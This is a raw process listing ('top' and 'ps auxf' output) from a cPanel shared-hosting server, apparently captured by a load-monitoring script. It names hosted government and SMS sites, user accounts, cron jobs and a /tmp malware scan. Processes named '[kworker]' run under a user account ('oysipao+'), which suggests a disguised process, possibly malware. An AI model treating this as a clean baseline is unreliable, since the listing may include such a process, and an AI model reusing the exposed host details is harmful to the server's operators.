 47189 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 47566 oysipao+  20   0    3148      8      0 S   0.0  0.0   0:00.00 [kworker]
 47579 oysipao+  20   0    3152     72     32 S   0.0  0.0   0:01.02 [kworker]
 48022 nobody    20   0  277632  19768   4448 S   0.0  0.8   0:00.49 /usr/sbin+
 48208 nobody    20   0  277668  19556   4144 S   0.0  0.8   0:00.52 /usr/sbin+
 48487 nobody    20   0  277652  19764   4376 S   0.0  0.8   0:00.56 /usr/sbin+
 49121 nobody    20   0  277648  19588   4168 S   0.0  0.8   0:00.45 /usr/sbin+
 49178 mailnull  20   0   91028   5152   1908 S   0.0  0.2   0:00.00 /usr/sbin+
 49315 nobody    20   0  277604  19356   4072 S   0.0  0.8   0:00.35 /usr/sbin+
 49354 nobody    20   0  277636  19568   4200 S   0.0  0.8   0:00.27 /usr/sbin+
 49355 nobody    20   0  277908  19692   4200 S   0.0  0.8   0:00.29 /usr/sbin+
 49533 nobody    20   0  277620  19392   4100 S   0.0  0.8   0:00.44 /usr/sbin+
 50702 nobody    20   0  277496  18824   3728 S   0.0  0.8   0:00.34 /usr/sbin+
 51630 nobody    20   0  277712  19636   4188 S   0.0  0.8   0:00.22 /usr/sbin+
 52304 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 52388 nobody    20   0  277928  19360   3936 S   0.0  0.8   0:00.22 /usr/sbin+
 52705 nobody    20   0  277784  19416   3952 S   0.0  0.8   0:00.17 /usr/sbin+
 52771 nobody    20   0  277904  19520   4116 S   0.0  0.8   0:00.12 /usr/sbin+
 52780 nobody    20   0  277920  19552   4060 S   0.0  0.8   0:00.15 /usr/sbin+
 52781 nobody    20   0  277552  19212   3988 S   0.0  0.8   0:00.14 /usr/sbin+
 52951 root      20   0   41052   2808   2140 S   0.0  0.1   0:00.00 dovecot/a+
 53493 root      20   0  157100   5076   3788 S   0.0  0.2   0:00.00 sshd: unk+
 53494 sshd      20   0  115644   2632   1564 S   0.0  0.1   0:00.00 sshd: unk+
 53565 nobody    20   0  277784  18592   3316 S   0.0  0.8   0:00.04 /usr/sbin+
 53641 root      20   0  111304   4268   3248 S   0.0  0.2   0:00.00 sshd: [ac+
 53656 healtho+  20   0  472108  79048   4112 S   0.0  3.3   0:04.69 php-fpm: +
 53697 healtho+  20   0  470156  77872   4184 S   0.0  3.2   0:03.91 php-fpm: +
 53710 wp-tool+  20   0  445028    320    192 S   0.0  0.0   0:00.00 sw-engine+
 53846 nigeria   20   0  400460   5032   2396 S   0.0  0.2   0:00.00 php-fpm: +
 53866 oyotech+  20   0  389236   6324   2944 S   0.0  0.3   0:00.03 php-fpm: +
 53871 mailnull  20   0   91204   4264   1144 S   0.0  0.2   0:00.00 /usr/sbin+
 53895 root      20   0       0      0      0 Z   0.0  0.0   0:00.00 [cpaneld +
 53906 root      20   0  183076   2416   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 53909 root      20   0  183076   2420   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 53911 root      20   0  183076   2420   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 53912 root      20   0  183076   2420   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 53913 root      20   0  183076   2416   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 53914 root      20   0  183076   2416   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 53915 root      20   0  183076   2412   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 53916 root      20   0  183076   2412   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 53917 root      20   0  183076   2412   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 53918 root      20   0  183076   2408   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 53919 root      20   0  183076   2412   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 53921 root      20   0  183076   2412   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 53927 root      20   0   20164    988    788 S   0.0  0.0   0:00.00 jailshell+
 53929 root      20   0  113284   1208   1032 S   0.0  0.0   0:00.00 /bin/sh -+
 53931 root      20   0  108052    356    284 S   0.0  0.0   0:00.00 /usr/bin/+
 53932 root      20   0  113288   1520   1300 S   0.0  0.1   0:00.00 /bin/bash+
 53934 root      20   0   20164    984    788 S   0.0  0.0   0:00.00 jailshell+
 53935 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 53936 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 53937 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 53942 root      20   0   20164    960    764 S   0.0  0.0   0:00.00 jailshell+
 53943 root      20   0   20164    964    764 S   0.0  0.0   0:00.00 jailshell+
 53944 root      20   0  113284   1200   1024 S   0.0  0.0   0:00.00 /bin/sh /+
 53945 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 53946 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 53947 root      20   0   20164    992    788 S   0.0  0.0   0:00.00 jailshell+
 53955 pactpay   20   0   20164    256      0 S   0.0  0.0   0:00.00 jailshell+
 53958 root      20   0  129956   2324   1828 S   0.0  0.1   0:00.00 /usr/bin/+
 53965 cloudw    20   0  353712  15968  10484 S   0.0  0.7   0:00.01 /opt/cpan+
 53970 nigeria   20   0   20164    260      0 S   0.0  0.0   0:00.00 jailshell+
 53997 root      20   0  113284   1212   1032 S   0.0  0.1   0:00.00 sh -c fin+
 53999 root      20   0  112812   1008    860 S   0.0  0.0   0:00.00 grep -Ef +
 54008 cloudsms  20   0   20164    260      0 S   0.0  0.0   0:00.00 jailshell+
 54010 cloudsms  20   0  113284   1212   1036 S   0.0  0.1   0:00.00 /usr/loca+
 54011 root      20   0  160220   2064   1584 R   0.0  0.1   0:00.00 top -bcn1
 54012 cloudsms  20   0  404052  15612  10164 S   0.0  0.6   0:00.00 /opt/cpan+
 54014 cloudsms  20   0   20164    256      0 S   0.0  0.0   0:00.00 jailshell+
 54016 cloudsms  20   0  113284   1212   1032 S   0.0  0.1   0:00.00 /usr/loca+
 54017 cloudsms  20   0   20164    264      0 S   0.0  0.0   0:00.00 jailshell+
 54018 cloudsms  20   0  131852   3320   2388 R   0.0  0.1   0:00.00 /usr/loca+
 54019 cloudsms  20   0  113284   1212   1032 S   0.0  0.1   0:00.00 /usr/loca+
 54020 cloudsms  20   0  113284    184      0 R   0.0  0.0   0:00.00 /usr/loca+
 81298 worencom  20   0   38488   2652   1668 S   0.0  0.1   0:00.03 dovecot/i+
 83419 root      20   0  183044   1656   1100 S   0.0  0.1   0:00.00 /usr/sbin+
 83479 root      20   0  113284    700    520 S   0.0  0.0   0:00.00 /bin/sh -+
 83501 root      20   0  108056    300    228 S   0.0  0.0   0:00.00 sleep 2h +
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root          2  0.0  0.0      0     0 ?        S    Nov22   0:00 [kthreadd]
root          4  0.0  0.0      0     0 ?        S<   Nov22   0:00  \_ [kworker/0:0H]
root          6  0.0  0.0      0     0 ?        R    Nov22   0:03  \_ [ksoftirqd/0]
root          7  0.0  0.0      0     0 ?        S    Nov22   0:02  \_ [migration/0]
root          8  0.0  0.0      0     0 ?        S    Nov22   0:00  \_ [rcu_bh]
root          9  0.0  0.0      0     0 ?        S    Nov22   0:55  \_ [rcu_sched]
root         10  0.0  0.0      0     0 ?        S<   Nov22   0:00  \_ [lru-add-drain]
root         11  0.0  0.0      0     0 ?        S    Nov22   0:00  \_ [watchdog/0]
root         12  0.0  0.0      0     0 ?        S    Nov22   0:00  \_ [watchdog/1]
root         13  0.0  0.0      0     0 ?        S    Nov22   0:02  \_ [migration/1]
root         14  0.0  0.0      0     0 ?        S    Nov22   0:08  \_ [ksoftirqd/1]
root         16  0.0  0.0      0     0 ?        S<   Nov22   0:00  \_ [kworker/1:0H]
root         18  0.0  0.0      0     0 ?        S    Nov22   0:00  \_ [kdevtmpfs]
root         19  0.0  0.0      0     0 ?        S<   Nov22   0:00  \_ [netns]
root         20  0.0  0.0      0     0 ?        S    Nov22   0:00  \_ [khungtaskd]
root         21  0.0  0.0      0     0 ?        S<   Nov22   0:00  \_ [writeback]
root         22  0.0  0.0      0     0 ?        S<   Nov22   0:00  \_ [kintegrityd]
root         23  0.0  0.0      0     0 ?        S<   Nov22   0:00  \_ [bioset]
root         24  0.0  0.0      0     0 ?        S<   Nov22   0:00  \_ [bioset]
root         25  0.0  0.0      0     0 ?        S<   Nov22   0:00  \_ [bioset]
root         26  0.0  0.0      0     0 ?        S<   Nov22   0:00  \_ [kblockd]
root         27  0.0  0.0      0     0 ?        S<   Nov22   0:00  \_ [md]
root         28  0.0  0.0      0     0 ?        S<   Nov22   0:00  \_ [edac-poller]
root         29  0.0  0.0      0     0 ?        S<   Nov22   0:00  \_ [watchdogd]
root         36  0.0  0.0      0     0 ?        S    Nov22   0:33  \_ [kswapd0]
root         37  0.0  0.0      0     0 ?        SN   Nov22   0:00  \_ [ksmd]
root         38  0.0  0.0      0     0 ?        SN   Nov22   0:00  \_ [khugepaged]
root         39  0.0  0.0      0     0 ?        S<   Nov22   0:00  \_ [crypto]
root         47  0.0  0.0      0     0 ?        S<   Nov22   0:00  \_ [kthrotld]
root         49  0.0  0.0      0     0 ?        S<   Nov22   0:00  \_ [kmpath_rdacd]
root         50  0.0  0.0      0     0 ?        S<   Nov22   0:00  \_ [kaluad]
root         51  0.0  0.0      0     0 ?        S<   Nov22   0:00  \_ [kpsmoused]
root         52  0.0  0.0      0     0 ?        S<   Nov22   0:00  \_ [ipv6_addrconf]
root         65  0.0  0.0      0     0 ?        S<   Nov22   0:00  \_ [deferwq]
root        150  0.0  0.0      0     0 ?        S    Nov22   0:01  \_ [kauditd]
root        242  0.0  0.0      0     0 ?        S<   Nov22   0:00  \_ [ata_sff]
root        247  0.0  0.0      0     0 ?        S    Nov22   0:00  \_ [scsi_eh_0]
root        249  0.0  0.0      0     0 ?        S<   Nov22   0:00  \_ [scsi_tmf_0]
root        251  0.0  0.0      0     0 ?        S    Nov22   0:00  \_ [scsi_eh_1]
root        252  0.0  0.0      0     0 ?        S<   Nov22   0:00  \_ [scsi_tmf_1]
root        255  0.0  0.0      0     0 ?        S<   Nov22   0:00  \_ [ttm_swap]
root        263  0.0  0.0      0     0 ?        S<   Nov22   0:03  \_ [kworker/0:1H]
root        271  0.0  0.0      0     0 ?        S<   Nov22   0:04  \_ [kworker/1:1H]
root        278  0.0  0.0      0     0 ?        S    Nov22   0:02  \_ [jbd2/vda3-8]
root        279  0.0  0.0      0     0 ?        S<   Nov22   0:00  \_ [ext4-rsv-conver]
root        416  0.0  0.0      0     0 ?        S<   Nov22   0:00  \_ [rpciod]
root        418  0.0  0.0      0     0 ?        S<   Nov22   0:00  \_ [xprtiod]
root        631  0.0  0.0      0     0 ?        S<   Nov22   0:00  \_ [kvm-irqfd-clean]
root        673  0.0  0.0      0     0 ?        S<   Nov22   0:02  \_ [loop0]
root        707  0.0  0.0      0     0 ?        S    Nov22   0:00  \_ [jbd2/loop0-8]
root        708  0.0  0.0      0     0 ?        S<   Nov22   0:00  \_ [ext4-rsv-conver]
root      13081  0.0  0.0      0     0 ?        S    01:48   0:00  \_ [kworker/0:4]
root      21598  0.0  0.0      0     0 ?        S    02:00   0:00  \_ [kworker/u200:2]
root      34708  0.0  0.0      0     0 ?        S    02:20   0:00  \_ [kworker/1:2]
root      38422  0.0  0.0      0     0 ?        S    02:26   0:00  \_ [kworker/0:1]
root      42015  0.0  0.0      0     0 ?        S    02:32   0:00  \_ [kworker/u200:1]
root      43320  0.0  0.0      0     0 ?        S    02:34   0:00  \_ [kworker/1:0]
root      44620  0.0  0.0      0     0 ?        S    02:36   0:00  \_ [kworker/0:0]
root      47189  0.0  0.0      0     0 ?        S    02:40   0:00  \_ [kworker/1:1]
root      52304  0.0  0.0      0     0 ?        S    02:45   0:00  \_ [kworker/1:3]
root          1  0.1  0.1  44508  3244 ?        Ss   Nov22   1:16 /usr/lib/systemd/systemd --switched-root --system --deserialize 22
root        360  0.0  0.1  40240  2956 ?        Ss   Nov22   0:32 /usr/lib/systemd/systemd-journald
root        384  0.0  0.0  45352     8 ?        Ss   Nov22   0:00 /usr/lib/systemd/systemd-udevd
root        412  0.0  0.0  55532   448 ?        S<sl Nov22   0:05 /sbin/auditd
root        499  0.0  0.0  21540   348 ?        Ss   Nov22   0:01 /usr/sbin/irqbalance --foreground
root        501  0.0  0.0  24704  1168 ?        Ss   Nov22   0:12 /usr/lib/systemd/systemd-logind
dbus        502  0.0  0.0  58720  1356 ?        Ss   Nov22   0:29 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
rpc         504  0.0  0.0  69256    44 ?        Ss   Nov22   0:00 /sbin/rpcbind -w
root        514  0.0  0.1 224148  3084 ?        Ss   Nov22   0:00 queueprocd - waiting up to 60s to process a task
polkitd     515  0.0  0.0 610540   840 ?        Ssl  Nov22   0:07 /usr/lib/polkit-1/polkitd --no-debug
root        521  0.0  0.0 152780    72 ?        Ss   Nov22   0:00 /usr/sbin/pure-authd -s /var/run/ftpd.sock -r /usr/local/cpanel/bin/pureauth
root        523  0.0  0.0  52852   144 ?        Ss   Nov22   0:00 /usr/sbin/smartd -n -q never
nscd        524  0.0  0.0 1336536 1832 ?        Ssl  Nov22   0:39 /usr/sbin/nscd
root        544  0.0  0.0 195208     0 ?        Ssl  Nov22   0:00 /usr/sbin/gssproxy -D
root        548  0.0  0.0   4388     4 ?        Ss   Nov22   0:00 /usr/sbin/acpid
root        569  0.0  0.0  24208    12 ?        Ss   Nov22   0:00 /usr/sbin/atd -f
root        571  0.0  0.0 124508   844 ?        Ss   Nov22   0:01 /usr/sbin/crond -n
root      83419  0.0  0.0 183044  1656 ?        S    01:00   0:00  \_ /usr/sbin/CROND -n
root      83479  0.0  0.0 113284   700 ?        Ss   01:00   0:00  |   \_ /bin/sh -c sleep $((1 + RANDOM % 5))h $((1 + RANDOM % 60))m; /usr/local/bin/wp-toolkit update-configuration > /dev/null 2> /dev/null || /usr/local/cpanel/3rdparty/wp-toolkit/bin/wp-toolkit-installer.sh --generate-configs > /dev/null 2> /dev/null; /usr/bin/yum -y update wp-toolkit-cpanel > /dev/null 2> /dev/null
root      83501  0.0  0.0 108056   300 ?        S    01:00   0:00  |       \_ sleep 2h 15m
root      53906  0.0  0.0 183076  2416 ?        S    02:48   0:00  \_ /usr/sbin/CROND -n
root      53929  0.0  0.0 113284  1208 ?        Ss   02:48   0:00  |   \_ /bin/sh -c /usr/bin/flock -n /dev/shm/loadwatch.lock -c /usr/local/lp/bin/loadwatch &> /dev/null
root      53931  0.0  0.0 108052   356 ?        S    02:48   0:00  |       \_ /usr/bin/flock -n /dev/shm/loadwatch.lock -c /usr/local/lp/bin/loadwatch
root      53932  0.0  0.0 113288  1520 ?        S    02:48   0:00  |           \_ /bin/bash /usr/local/lp/bin/loadwatch
root      54021  0.0  0.0 153840  2096 ?        R    02:48   0:00  |               \_ ps auxf
root      53909  0.0  0.0 183076  2420 ?        S    02:48   0:00  \_ /usr/sbin/CROND -n
root      53935  0.0  0.0  20164   808 ?        Ss   02:48   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/robocall.cloudsms.com.ng/endpoint/ ; php -q -f /home/cloudsms/robocall.cloudsms.com.ng/endpoint/send_single.php > /dev/null 2>&1
root      53911  0.0  0.0 183076  2420 ?        S    02:48   0:00  \_ /usr/sbin/CROND -n
root      53937  0.0  0.0  20164   804 ?        Ss   02:48   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue2.php > /dev/null 2>&1
root      53912  0.0  0.0 183076  2420 ?        S    02:48   0:00  \_ /usr/sbin/CROND -n
root      53927  0.0  0.0  20164   988 ?        Ss   02:48   0:00  |   \_ jailshell (cloudsms) [54008] ll -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/massmailer/cron.php > /dev/null 2>&1
cloudsms  54008  0.0  0.0      0     0 ?        D    02:48   0:00  |       \_ [jailshell]
root      53913  0.0  0.0 183076  2416 ?        S    02:48   0:00  \_ /usr/sbin/CROND -n
root      53946  0.0  0.0  20164   804 ?        Ss   02:48   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue.php > /dev/null 2>&1
root      53914  0.0  0.0 183076  2416 ?        S    02:48   0:00  \_ /usr/sbin/CROND -n
root      53947  0.0  0.0  20164   992 ?        Ss   02:48   0:00  |   \_ jailshell (cloudsms) [54017] ll -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue5.php > /dev/null 2>&1
cloudsms  54017  0.0  0.0  20164   264 ?        S    02:48   0:00  |       \_ jailshell (cloudsms) [init] ell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue5.php > /dev/null 2>&1
cloudsms  54019  0.0  0.0 113284  1212 ?        S    02:48   0:00  |           \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue5.php > /dev/null 2>&1
cloudsms  54020  0.0  0.5 403192 14048 ?        R    02:48   0:00  |               \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/cloudsms/public_html/cron/process_queue5.php
root      53915  0.0  0.0 183076  2412 ?        S    02:48   0:00  \_ /usr/sbin/CROND -n
root      53945  0.0  0.0  20164   804 ?        Ss   02:48   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue4.php > /dev/null 2>&1
root      53916  0.0  0.0 183076  2412 ?        S    02:48   0:00  \_ /usr/sbin/CROND -n
root      53934  0.0  0.0  20164   984 ?        Ss   02:48   0:00  |   \_ jailshell (cloudsms) [54014] ll -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue3.php > /dev/null 2>&1
cloudsms  54014  0.0  0.0  20164   256 ?        S    02:48   0:00  |       \_ jailshell (cloudsms) [init] ell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue3.php > /dev/null 2>&1
cloudsms  54016  0.0  0.0 113284  1212 ?        R    02:48   0:00  |           \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue3.php > /dev/null 2>&1
cloudsms  54018  0.0  0.0      0     0 ?        Z    02:48   0:00  |               \_ [php-cgi] <defunct>
root      53917  0.0  0.0 183076  2412 ?        S    02:48   0:00  \_ /usr/sbin/CROND -n
root      53936  0.0  0.0  20164   808 ?        Ss   02:48   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue1.php > /dev/null 2>&1
root      53918  0.0  0.0 183076  2408 ?        S    02:48   0:00  \_ /usr/sbin/CROND -n
root      53944  0.0  0.0 113284  1200 ?        Ss   02:48   0:00  |   \_ /bin/sh /usr/local/lp/apps/security/cronwrapper.sh
root      53958  0.0  0.0 129956  2324 ?        S    02:48   0:00  |       \_ /usr/bin/perl /usr/local/lp/apps/security/infected.pl
root      53997  0.0  0.0 113284  1212 ?        S    02:48   0:00  |           \_ sh -c find /tmp/ -type f | grep -Ef /usr/local/lp/apps/security/blacklists/tmp.list
root      53998  1.0  0.2 126116  6848 ?        R    02:48   0:00  |               \_ find /tmp/ -type f
root      53999  0.0  0.0 112812  1008 ?        S    02:48   0:00  |               \_ grep -Ef /usr/local/lp/apps/security/blacklists/tmp.list
root      53919  0.0  0.0 183076  2412 ?        S    02:48   0:00  \_ /usr/sbin/CROND -n
root      53942  0.0  0.0  20164   960 ?        Ss   02:48   0:00  |   \_ jailshell (pactpay) [53955] ell -c php -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
pactpay   53955  0.0  0.0  20164   256 ?        S    02:48   0:00  |       \_ jailshell (pactpay) [init] hell -c php -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
pactpay   53961  2.0  0.7 480124 17672 ?        S    02:48   0:00  |           \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
root      53921  0.0  0.0 183076  2412 ?        S    02:48   0:00  \_ /usr/sbin/CROND -n
root      53943  0.0  0.0  20164   964 ?        Ss   02:48   0:00      \_ jailshell (nigeria) [53970] ell -c php -q -f /home/nigeria/public_html/crons/analyzer.php
nigeria   53970  0.0  0.0  20164   260 ?        S    02:48   0:00          \_ jailshell (nigeria) [init] hell -c php -q -f /home/nigeria/public_html/crons/analyzer.php
nigeria   53976  3.0  0.6 404052 16140 ?        S    02:48   0:00              \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/nigeria/public_html/crons/analyzer.php
root        591  0.0  0.0 108296     4 tty1     Ss+  Nov22   0:00 /sbin/agetty --noclear tty1 linux
root        592  0.0  0.0 114704     0 ttyS0    Ss+  Nov22   0:00 /bin/bash
mailnull    617  0.0  0.1  90820  3728 ?        Ss   Nov22   0:01 /usr/sbin/exim -ps -bd -q60m -oP /var/spool/exim/exim-daemon.pid
mailnull  49178  0.0  0.2  91028  5152 ?        S    02:43   0:00  \_ /usr/sbin/exim -ps -bd -q60m -oP /var/spool/exim/exim-daemon.pid
mailnull  53871  0.0  0.1  91204  4264 ?        S    02:47   0:00  \_ /usr/sbin/exim -ps -bd -q60m -oP /var/spool/exim/exim-daemon.pid
memcach+    911  0.0  0.0 342400    28 ?        Ssl  Nov22   0:01 /usr/bin/memcached -u memcached -p 11211 -m 64 -c 1024
root        912  0.0  0.2 1277312 5772 ?        Ssl  Nov22   0:24 /usr/bin/checkstatus
systuser    913  0.0  0.0 111864    76 ?        Ssl  Nov22   0:00 /usr/local/lp/opt/exporters/php-fpm_exporter/php-fpm_exporter server
root        914  0.0  0.0 572372   644 ?        Ssl  Nov22   0:04 /usr/bin/python2 -Es /usr/sbin/tuned -l -P
root        915  0.0  0.0  51508   444 ?        Ss   Nov22   0:00 /usr/sbin/dovecot -F -c /etc/dovecot/dovecot.conf
dovenull   1083  0.0  0.0  47116  1840 ?        S    Nov22   0:01  \_ dovecot/pop3-login
dovenull   1084  0.0  0.1  48232  2512 ?        S    Nov22   0:00  \_ dovecot/imap-login
dovecot    1085  0.0  0.0  10320   424 ?        S    Nov22   0:00  \_ dovecot/anvil
root       1086  0.0  0.0  10452   536 ?        S    Nov22   0:01  \_ dovecot/log
dovenull   1087  0.0  0.0  47264  1872 ?        S    Nov22   0:02  \_ dovecot/pop3-login
dovenull   1088  0.0  0.1  48324  2564 ?        S    Nov22   0:00  \_ dovecot/imap-login
root       1093  0.0  0.0  24528  1832 ?        S    Nov22   0:00  \_ dovecot/config
dovecot    1101  0.0  0.0  13568   508 ?        S    Nov22   0:00  \_ dovecot/stats
dovecot    1161  0.0  0.0  41320  1488 ?        S    Nov22   0:02  \_ dovecot/auth
worencom  81298  0.0  0.1  38488  2652 ?        S    00:56   0:00  \_ dovecot/imap
root      52951  0.0  0.1  41052  2808 ?        S    02:46   0:00  \_ dovecot/auth -w
telegraf    916  0.0  1.5 5654304 36984 ?       SLsl Nov22   0:30 /usr/local/lp/bin/telegraf -config /usr/local/lp/etc/telegraf.toml -config-directory /usr/local/lp/etc/telegraf.d
systuser    917  0.0  0.0  12756     0 ?        Ssl  Nov22   0:00 /usr/local/lp/opt/exporters/mysqld_exporter/mysqld_exporter --config.my-cnf=/usr/local/lp/etc/exporters/my.cnf
systuser    925  0.0  0.5 114016 12620 ?        Ssl  Nov22   0:13 /usr/local/lp/opt/exporters/blackbox_exporter/blackbox_exporter --config.file /usr/local/lp/etc/exporters/blackbox.yml
systuser    926  0.0  0.0 112524    68 ?        Ssl  Nov22   0:00 /usr/local/lp/opt/exporters/node_exporter/node_exporter
root        927  0.0  0.0 111304   356 ?        Ss   Nov22   0:07 /usr/sbin/sshd -D
root      53493  0.0  0.2 157100  5076 ?        Ss   02:47   0:00  \_ sshd: unknown [priv]
sshd      53494  0.0  0.1 115644  2632 ?        S    02:47   0:00  |   \_ sshd: unknown [net]
root      53641  0.0  0.1 111304  4268 ?        Ss   02:47   0:00  \_ sshd: [accepted]
root        928  0.0  0.3 1276100 7716 ?        Ssl  Nov22   0:25 /usr/bin/cspdaemon
root        930  0.0  0.0 445028   592 ?        Ss   Nov22   0:02 sw-engine-fpm: master process (/etc/sw-engine/sw-engine-fpm.conf)
wp-tool+  53710  0.0  0.0 445028   320 ?        S    02:47   0:00  \_ sw-engine-fpm: pool wordpress-toolkit
root        931  0.0  0.0 153404   220 ?        Ss   Nov22   0:01 pure-ftpd (SERVER)
systuser    932  0.0  0.0  10132     0 ?        Ssl  Nov22   0:00 /usr/local/lp/opt/exporters/apache_exporter/apache_exporter
root        934  0.0  0.0 439788   384 ?        Ss   Nov22   0:01 php-fpm: master process (/opt/cpanel/ea-php56/root/etc/php-fpm.conf)
root        938  0.0  0.0 388892   536 ?        Ss   Nov22   0:01 php-fpm: master process (/opt/cpanel/ea-php73/root/etc/php-fpm.conf)
oyotech+  53866  0.4  0.2 389236  6324 ?        S    02:47   0:00  \_ php-fpm: pool covid-19_oyostate_gov_ng
root        939  0.0 13.9 1828368 337588 ?      Ssl  Nov22   0:30 /usr/local/cpanel/3rdparty/bin/clamd -F
root        940  0.0  0.1 331088  3828 ?        Ssl  Nov22   0:16 /usr/sbin/rsyslogd -n
named       949  0.0  1.4 1054796 34328 ?       Ssl  Nov22   0:25 /usr/sbin/pdns_server --guardian=no --daemon=no --disable-syslog --log-timestamp=no --write-pid=no
root        958  0.0  0.1 400740  2444 ?        Ss   Nov22   0:07 php-fpm: master process (/opt/cpanel/ea-php74/root/etc/php-fpm.conf)
healtho+  53654 12.6  2.8 462416 69036 ?        R    02:47   0:04  \_ php-fpm: pool health_oyostate_gov_ng
healtho+  53656 14.6  3.2 472108 79048 ?        S    02:47   0:04  \_ php-fpm: pool health_oyostate_gov_ng
healtho+  53697 13.9  3.2 470156 77872 ?        S    02:47   0:03  \_ php-fpm: pool health_oyostate_gov_ng
nigeria   53846  0.0  0.2 400460  5032 ?        S    02:47   0:00  \_ php-fpm: pool nigeriadecide_org
root        962  0.0  0.2 261692  6352 ?        Ss   Nov22   0:08 cpsrvd (SSL) - waiting for connections                   
root      53895  0.0  0.0      0     0 ?        Z    02:47   0:00  \_ [cpaneld - servi] <defunct>
cpanelc+    969  0.0  0.1  10564  3452 ?        Ss   Nov22   0:45 /usr/local/cpanel/3rdparty/sbin/p0f -i any -u cpanelconnecttrack -d -s /var/cpanel/userhomes/cpanelconnecttrack/p0f.socket less 400 and not dst port 80 and not dst port 443 and tcp[13] & 8==0
root        979  0.0  0.0 396248   244 ?        Ss   Nov22   0:01 php-fpm: master process (/opt/cpanel/ea-php81/root/etc/php-fpm.conf)
root        985  0.0  0.0 389508   456 ?        Rs   Nov22   0:01 php-fpm: master process (/opt/cpanel/ea-php70/root/etc/php-fpm.conf)
root       1142  0.0  0.6 247932 16364 ?        Ss   Nov22   0:09 /usr/local/cpanel/3rdparty/perl/536/bin/perl -T -w /usr/local/cpanel/3rdparty/bin/spamd --allowed-ips=127.0.0.1,::1 --max-children=5 --pidfile=/var/run/spamd.pid --listen=5 --listen=6
root       5633  0.0  4.0 270572 98876 ?        S    Nov22   0:08  \_ spamd child
root       5634  0.0  0.6 247932 14780 ?        S    Nov22   0:00  \_ spamd child
systuser   1175  0.0  0.1 157708  2800 ?        S    Nov22   0:00 SonarPush 0.6.12 [sleeping]
wp-tool+   1177  0.0  0.1 387556  3544 ?        Ss   Nov22   0:00 /usr/bin/sw-engine /usr/local/cpanel/3rdparty/wp-toolkit/bin/run-script scheduled-tasks-executor.php
wp-tool+   1178  0.0  0.3 412396  9444 ?        Ss   Nov22   0:17 /usr/bin/sw-engine /usr/local/cpanel/3rdparty/wp-toolkit/bin/run-script background-tasks-executor.php
root       1260  0.0  0.9 262224 23168 ?        Ss   Nov22   0:05 cpdavd - accepting connections on: 2091, 2077, 2078
root       1263  0.0  0.1 167452  4104 ?        Ss   Nov22   0:00 dnsadmin - dormant mode
root       1264  0.0  0.4 209648  9952 ?        Ss   Nov22   0:06 tailwatchd
root       1800  0.0  0.0 299272   400 ?        Ss   Nov22   0:01 php-fpm: master process (/usr/local/cpanel/etc/php-fpm.conf)
root       1834  0.0  0.0 130416  1372 ?        SN   Nov22   0:00 cpanellogd - sleeping for logs
mysql      1916  1.3  9.9 1478544 240424 ?      Sl   Nov22  12:57 /usr/sbin/mysqld --daemonize --pid-file=/var/run/mysqld/mysqld.pid
root       2048  0.0  0.3 267052  7672 ?        Ss   Nov22   0:03 /usr/sbin/httpd -k start
root       2050  0.0  0.0  12840   332 ?        S    Nov22   0:05  \_ /usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=chs1.nescrow.com.ng --suffix=-bytes_log
root       2051  0.0  0.0  12732   284 ?        S    Nov22   0:05  \_ /usr/local/cpanel/bin/splitlogs --main=apache-traffic.log --mainout=/var/log/cpanel-server-traffic/web/traffic-apache.log
root       2052  0.0  0.0  12884   344 ?        S    Nov22   0:05  \_ /usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=chs1.nescrow.com.ng --mainout=/etc/apache2/logs/access_log
